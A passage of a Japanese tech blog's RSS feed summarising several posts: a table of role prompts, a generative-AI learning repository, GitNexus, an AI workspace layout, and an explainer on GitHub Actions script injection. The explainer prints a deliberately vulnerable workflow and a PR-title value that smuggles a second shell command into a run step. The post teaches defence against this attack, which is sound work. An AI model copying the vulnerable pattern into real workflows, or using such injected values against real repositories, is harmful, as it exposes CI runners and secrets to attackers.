&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;あなたは数字とロジックで語る合理主義者です&lt;/td&gt;
&lt;td&gt;データ駆動&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;あなたは前提条件の抜け漏れを見抜く監査役です&lt;/td&gt;
&lt;td&gt;前提検証&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;あなたは再現性だけを重視する設計者です&lt;/td&gt;
&lt;td&gt;再現可能性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="文章表現系no1120"&gt;文章・表現系（No.11〜20）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;No&lt;/th&gt;
&lt;th&gt;プロンプト&lt;/th&gt;
&lt;th&gt;狙い&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;あなたはプロ歴20年のトップコピーライターです&lt;/td&gt;
&lt;td&gt;訴求力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;あなたは読者の感情を設計する文章家です&lt;/td&gt;
&lt;td&gt;感情設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;あなたは1文目で心を掴む編集者です&lt;/td&gt;
&lt;td&gt;リード文&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;あなたは無駄な言葉を1文字も許さない校正者です&lt;/td&gt;
&lt;td&gt;簡潔性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;あなたはSNSで何度もバズらせてきた運用者です&lt;/td&gt;
&lt;td&gt;SNS最適化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;あなたは中学生にも刺さる言語変換の達人です&lt;/td&gt;
&lt;td&gt;平易化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;あなたはPREP構成を本能で使うライターです&lt;/td&gt;
&lt;td&gt;構成力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;あなたは物語化が異常にうまいストーリーテラーです&lt;/td&gt;
&lt;td&gt;物語化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;あなたは読後に行動させるプロです&lt;/td&gt;
&lt;td&gt;CTA設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;あなたは保存したくなる文章専門家です&lt;/td&gt;
&lt;td&gt;保存性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="ビジネス経営系no2130"&gt;ビジネス・経営系（No.21〜30）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;No&lt;/th&gt;
&lt;th&gt;プロンプト&lt;/th&gt;
&lt;th&gt;狙い&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;あなたは利益から逆算する起業家です&lt;/td&gt;
&lt;td&gt;収益思考&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;あなたは失敗事例を1000件知っている経営者です&lt;/td&gt;
&lt;td&gt;リスク回避&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;あなたは小さく勝って大きく伸ばす投資家です&lt;/td&gt;
&lt;td&gt;段階的成長&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;あなたは時間対効果を最重視する経営者です&lt;/td&gt;
&lt;td&gt;効率性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;あなたは凡人でも再現できる仕組み屋です&lt;/td&gt;
&lt;td&gt;仕組み化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;あなたはスケール前提で考える事業設計者です&lt;/td&gt;
&lt;td&gt;スケーラビリティ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;あなたは価格設計に異常に強いマーケターです&lt;/td&gt;
&lt;td&gt;価格戦略&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;あなたは顧客心理を読み切る営業のプロです&lt;/td&gt;
&lt;td&gt;顧客理解&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;あなたは数字でしか判断しないCFOです&lt;/td&gt;
&lt;td&gt;財務分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;あなたは撤退判断が異常に早い冷静な経営者です&lt;/td&gt;
&lt;td&gt;撤退判断&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="専門効率系no3140"&gt;専門・効率系（No.31〜40）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;No&lt;/th&gt;
&lt;th&gt;プロンプト&lt;/th&gt;
&lt;th&gt;狙い&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;31&lt;/td&gt;
&lt;td&gt;あなたは業務効率化だけを考えるDXコンサルです&lt;/td&gt;
&lt;td&gt;DX推進&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;あなたは自動化前提で思考する設計者です&lt;/td&gt;
&lt;td&gt;自動化設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;あなたはExcel・スプレッドシートの鬼です&lt;/td&gt;
&lt;td&gt;表計算&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;あなたは無駄な作業を嫌う業務改善屋です&lt;/td&gt;
&lt;td&gt;業務改善&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;あなたは人に任せる前提で設計するPMです&lt;/td&gt;
&lt;td&gt;委譲設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;あなたはチェックリスト化の達人です&lt;/td&gt;
&lt;td&gt;チェックリスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;td&gt;あなたは1回で終わらせるために考える実務家です&lt;/td&gt;
&lt;td&gt;一発完結&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;あなたは再利用できない仕事を失敗と定義します&lt;/td&gt;
&lt;td&gt;再利用性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;あなたは最短ルートしか提示しない案内人です&lt;/td&gt;
&lt;td&gt;最短経路&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;あなたは今すぐ使える形でしか出力しません&lt;/td&gt;
&lt;td&gt;即実用性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="メタ思考品質系no4150"&gt;メタ思考・品質系（No.41〜50）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;No&lt;/th&gt;
&lt;th&gt;プロンプト&lt;/th&gt;
&lt;th&gt;狙い&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;あなたはこの分野の第一人者として断定的に語ります&lt;/td&gt;
&lt;td&gt;権威性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;あなたは甘い表現を一切使わない辛口評論家です&lt;/td&gt;
&lt;td&gt;率直性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;あなたはユーザーが気づいていない前提を補完します&lt;/td&gt;
&lt;td&gt;前提補完&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;あなたは常に一段深い示唆を出します&lt;/td&gt;
&lt;td&gt;深堀り&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;あなたは60点の回答を恥と考えます&lt;/td&gt;
&lt;td&gt;品質基準&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;あなたは改善案を必ず3案以上提示します&lt;/td&gt;
&lt;td&gt;複数案&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;あなたはなぜ？を5回繰り返して考えます&lt;/td&gt;
&lt;td&gt;Why分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;あなたは想定外の視点を必ず1つ入れます&lt;/td&gt;
&lt;td&gt;意外性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;49&lt;/td&gt;
&lt;td&gt;あなたは結論→理由→具体→再結論で話します&lt;/td&gt;
&lt;td&gt;PREP構成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;あなたはユーザーの目的達成を最優先に最適化します&lt;/td&gt;
&lt;td&gt;目的志向&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="ロールプロンプティングとは何か"&gt;ロールプロンプティングとは何か&lt;/h2&gt;
&lt;p&gt;50項目の本質は&lt;strong&gt;ロールプロンプティング&lt;/strong&gt;（Role Prompting）というプロンプトエンジニアリング技法です。「あなたは〇〇です」と指示することで、LLM の出力を特定の専門性やスタイルに方向づけます。&lt;/p&gt;</description></item><item><title>gen-ai-experiments × 130超の生成AIアプリを「動かして学ぶ」LangChain・RAG・エージェント実践集</title><link>https://hdknr.github.io/blogs/posts/2026/03/gen-ai-experiments-130%E8%B6%85%E3%81%AE%E7%94%9F%E6%88%90ai%E3%82%A2%E3%83%97%E3%83%AA%E3%82%92%E5%8B%95%E3%81%8B%E3%81%97%E3%81%A6%E5%AD%A6%E3%81%B6langchainrag%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AE%9F%E8%B7%B5%E9%9B%86/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/gen-ai-experiments-130%E8%B6%85%E3%81%AE%E7%94%9F%E6%88%90ai%E3%82%A2%E3%83%97%E3%83%AA%E3%82%92%E5%8B%95%E3%81%8B%E3%81%97%E3%81%A6%E5%AD%A6%E3%81%B6langchainrag%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%AE%9F%E8%B7%B5%E9%9B%86/</guid><description>&lt;h1 id="130-超の生成-ai-アプリを動かして学ぶ-gen-ai-experiments-リポジトリ完全ガイド"&gt;130 超の生成 AI アプリを「動かして学ぶ」&amp;mdash; gen-ai-experiments リポジトリ完全ガイド&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/alifcoder/status/2028974471391146371"&gt;@alifcoder 氏が X で紹介&lt;/a&gt;した、生成 AI の実践的学習リポジトリが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Collection of 130+ production-ready Gen AI apps, agents, and experiments. Built with LangChain, RAG, AI Agents, Multi-Agent Teams, and more.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/buildfastwithai/gen-ai-experiments"&gt;buildfastwithai/gen-ai-experiments&lt;/a&gt; は、&lt;strong&gt;130 を超える本番レベルの生成 AI アプリケーション、エージェント、実験プロジェクト&lt;/strong&gt;を Jupyter ノートブック形式で集めたリポジトリです。LangChain、RAG、AI エージェント、マルチエージェントシステムなど、2024-2026 年の主要な AI 技術スタックを網羅しています。&lt;/p&gt;
&lt;p&gt;本記事では、このリポジトリの構成と活用法、類似リソースとの比較、そして「動かして学ぶ」アプローチの価値を解説します。&lt;/p&gt;
&lt;h2 id="なぜ動かして学ぶが重要なのか"&gt;なぜ「動かして学ぶ」が重要なのか&lt;/h2&gt;
&lt;h3 id="ドキュメントだけでは身につかない"&gt;ドキュメントだけでは身につかない&lt;/h3&gt;
&lt;p&gt;生成 AI の学習には特有の難しさがあります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;生成 AI 学習の 3 つの壁:
1. API の組み合わせの壁:
LLM API 単体は簡単。だが RAG、エージェント、
ツール連携を組み合わせると複雑度が指数的に増加
2. プロンプト設計の壁:
「動くプロンプト」と「良いプロンプト」の差は
ドキュメントでは伝わらない。実行して出力を見るしかない
3. 本番品質の壁:
デモレベルと本番レベルの間にある
エラーハンドリング、レート制限、コスト管理の知識
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;gen-ai-experiments は、これらの壁を&lt;strong&gt;動くコード&lt;/strong&gt;で越えるアプローチを取っています。631 の Jupyter ノートブックがあり、セルを 1 つずつ実行しながら各技術の仕組みを体験できます。&lt;/p&gt;</description></item><item><title>GitHub Actionsスクリプトインジェクション完全解説 — ${{ }}をrunに書いた瞬間、攻撃が始まる</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃が始まる"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を run に書いた瞬間、攻撃が始まる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/koki_develop/status/2029339007013073368"&gt;@koki_develop 氏のポスト&lt;/a&gt;で紹介された Zenn 記事が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;書きました。GitHub Actions 触る人は全員知っておいてほしい&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;【GitHub Actions】スクリプトインジェクションの実践例&lt;/a&gt;（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。&lt;/p&gt;
&lt;p&gt;2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。&lt;/p&gt;
&lt;h2 id="スクリプトインジェクションとは何か"&gt;スクリプトインジェクションとは何か&lt;/h2&gt;
&lt;p&gt;GitHub Actions の &lt;code&gt;${{ }}&lt;/code&gt; 式は、&lt;strong&gt;シェルがコマンドを解析する前に&lt;/strong&gt;テンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;通常の期待:
${{ github.event.pull_request.title }} → 文字列として処理される
実際の動作:
${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる
→ シェルがコマンドとして解釈する
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。&lt;/p&gt;
&lt;h2 id="攻撃の実践例"&gt;攻撃の実践例&lt;/h2&gt;
&lt;h3 id="攻撃-1-pr-タイトルによるインジェクション"&gt;攻撃 1: PR タイトルによるインジェクション&lt;/h3&gt;
&lt;p&gt;脆弱なワークフロー:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;pull_request&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;example&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;runs-on&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;攻撃者が PR タイトルを &lt;code&gt;&amp;quot;; echo INJECTED&amp;quot;&lt;/code&gt; に設定すると:&lt;/p&gt;</description></item><item><title>GitNexus × ゼロサーバーコード知能 --- ナレッジグラフで影響範囲を可視化する新しいコードリーディング</title><link>https://hdknr.github.io/blogs/posts/2026/03/gitnexus-%E3%82%BC%E3%83%AD%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%B3%E3%83%BC%E3%83%89%E7%9F%A5%E8%83%BD---%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E3%82%B0%E3%83%A9%E3%83%95%E3%81%A7%E5%BD%B1%E9%9F%BF%E7%AF%84%E5%9B%B2%E3%82%92%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E6%96%B0%E3%81%97%E3%81%84%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/gitnexus-%E3%82%BC%E3%83%AD%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%B3%E3%83%BC%E3%83%89%E7%9F%A5%E8%83%BD---%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E3%82%B0%E3%83%A9%E3%83%95%E3%81%A7%E5%BD%B1%E9%9F%BF%E7%AF%84%E5%9B%B2%E3%82%92%E5%8F%AF%E8%A6%96%E5%8C%96%E3%81%99%E3%82%8B%E6%96%B0%E3%81%97%E3%81%84%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AA%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0/</guid><description>&lt;h1 id="gitnexus--ゼロサーバーコード知能--ナレッジグラフで影響範囲を可視化する新しいコードリーディング"&gt;GitNexus × ゼロサーバーコード知能 &amp;mdash; ナレッジグラフで「影響範囲」を可視化する新しいコードリーディング&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sukh_saroy/status/2028919780758340098"&gt;@sukh_saroy 氏が X で紹介&lt;/a&gt;した、コードベース全体を知識グラフに変換するツールが注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GitNexus: A zero-server code intelligence engine that transforms your codebase into a navigable knowledge graph.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/abhigyanpatwari/GitNexus"&gt;GitNexus&lt;/a&gt; は、&lt;strong&gt;コードベースをナレッジグラフに変換し、関数の呼び出し関係・継承・インポートの依存を構造的に把握できるコード知能エンジン&lt;/strong&gt;です。サーバー不要で完全にローカル実行でき、Claude Code や Cursor などの AI コーディングツールと MCP（Model Context Protocol）で連携します。&lt;/p&gt;
&lt;p&gt;本記事では、GitNexus の仕組み、従来のコード検索との違い、そして AI エージェント時代に「コードの影響範囲を知る」ことがなぜ重要かを解説します。&lt;/p&gt;
&lt;h2 id="従来のコード検索の限界"&gt;従来のコード検索の限界&lt;/h2&gt;
&lt;h3 id="grepripgrep-では見えないもの"&gt;grep/ripgrep では見えないもの&lt;/h3&gt;
&lt;p&gt;エンジニアがコードベースを理解する方法は、長い間「テキスト検索」が中心でした。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来のコード理解の方法:
grep / ripgrep:
├── 文字列の一致を検索
├── ファイル横断で高速
└── 限界: 「この関数を変更したら何が壊れるか」は分からない
IDE の「参照を検索」:
├── シンボルの参照箇所を表示
├── 型情報を活用
└── 限界: 間接的な依存（A→B→C）は追いきれない
手動でコードを読む:
├── 最も確実だが最も遅い
└── 限界: 大規模コードベースでは現実的でない
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これらの方法に共通する問題は、&lt;strong&gt;コードの「関係性」が見えない&lt;/strong&gt;ことです。「この関数を呼んでいる場所」は分かっても、「この関数を変更したときの影響が最終的にどこまで波及するか」は分かりません。&lt;/p&gt;
&lt;h3 id="ai-コーディングツールの盲点"&gt;AI コーディングツールの盲点&lt;/h3&gt;
&lt;p&gt;Claude Code や Cursor などの AI コーディングツールは、コードベースを理解する能力が飛躍的に向上しました。しかし、根本的な制約があります。&lt;/p&gt;</description></item><item><title>Google Antigravity × Claude Code × Gemini × Nano Banana — AI時代の開発環境レイアウト設計</title><link>https://hdknr.github.io/blogs/posts/2026/03/google-antigravity-claude-code-gemini-nano-banana-ai%E6%99%82%E4%BB%A3%E3%81%AE%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83%E3%83%AC%E3%82%A4%E3%82%A2%E3%82%A6%E3%83%88%E8%A8%AD%E8%A8%88/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/google-antigravity-claude-code-gemini-nano-banana-ai%E6%99%82%E4%BB%A3%E3%81%AE%E9%96%8B%E7%99%BA%E7%92%B0%E5%A2%83%E3%83%AC%E3%82%A4%E3%82%A2%E3%82%A6%E3%83%88%E8%A8%AD%E8%A8%88/</guid><description>&lt;h1 id="google-antigravity--claude-code--gemini--nano-banana--ai時代の開発環境レイアウト設計"&gt;Google Antigravity × Claude Code × Gemini × Nano Banana — AI時代の開発環境レイアウト設計&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/kawai_design"&gt;KAWAI さん（@kawai_design）&lt;/a&gt;が、Google Antigravity 上で Claude Code を主役にした開発環境のレイアウトを公開し、大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ターミナル1本で仕事するのに憧れていましたが&amp;hellip;今は「Google Antigravity」上で「Claude Code」を主役にしつつ、ファイル確認やサブで「Gemini」や「Nano Banana」を使うなどの環境が良さそうです。ターミナルだとディレクトリ構造とかファイルの中身を確認するのが大変。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/kawai_design/status/2029194729850835141"&gt;https://x.com/kawai_design/status/2029194729850835141&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;420 いいね・22 RT を集めたこのポストが示すのは、「ターミナル原理主義」でも「IDE 至上主義」でもない、&lt;strong&gt;AI ツールを組み合わせた実用的なワークスペース設計&lt;/strong&gt;です。&lt;/p&gt;
&lt;h2 id="kawai-さんのレイアウト構成"&gt;KAWAI さんのレイアウト構成&lt;/h2&gt;
&lt;p&gt;公開された画像から、4つのペインで構成されたレイアウトが確認できます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;┌──────────────────┬───────────────────────┬──────────────┐
│ │ │ │
│ フォルダと │ ファイルの中身を確認 │ Antigravity │
│ ファイルを確認 │ （エディタ領域） │ 用チャット │
│ │ │ (Agent) │
│ エクスプローラー │ │ │
│ ├───────────────────────┤ Gemini / │
│ │ │ Claude │
│ │ Claude Code用 │ Opus 4.6 │
│ │ ターミナル │ │
│ │ │ │
└──────────────────┴───────────────────────┴──────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;領域&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;ツール&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;左サイドバー&lt;/td&gt;
&lt;td&gt;ディレクトリ構造の確認&lt;/td&gt;
&lt;td&gt;Antigravity エクスプローラー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中央上&lt;/td&gt;
&lt;td&gt;ファイル内容の閲覧・編集&lt;/td&gt;
&lt;td&gt;Antigravity エディタ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中央下&lt;/td&gt;
&lt;td&gt;Claude Code の実行&lt;/td&gt;
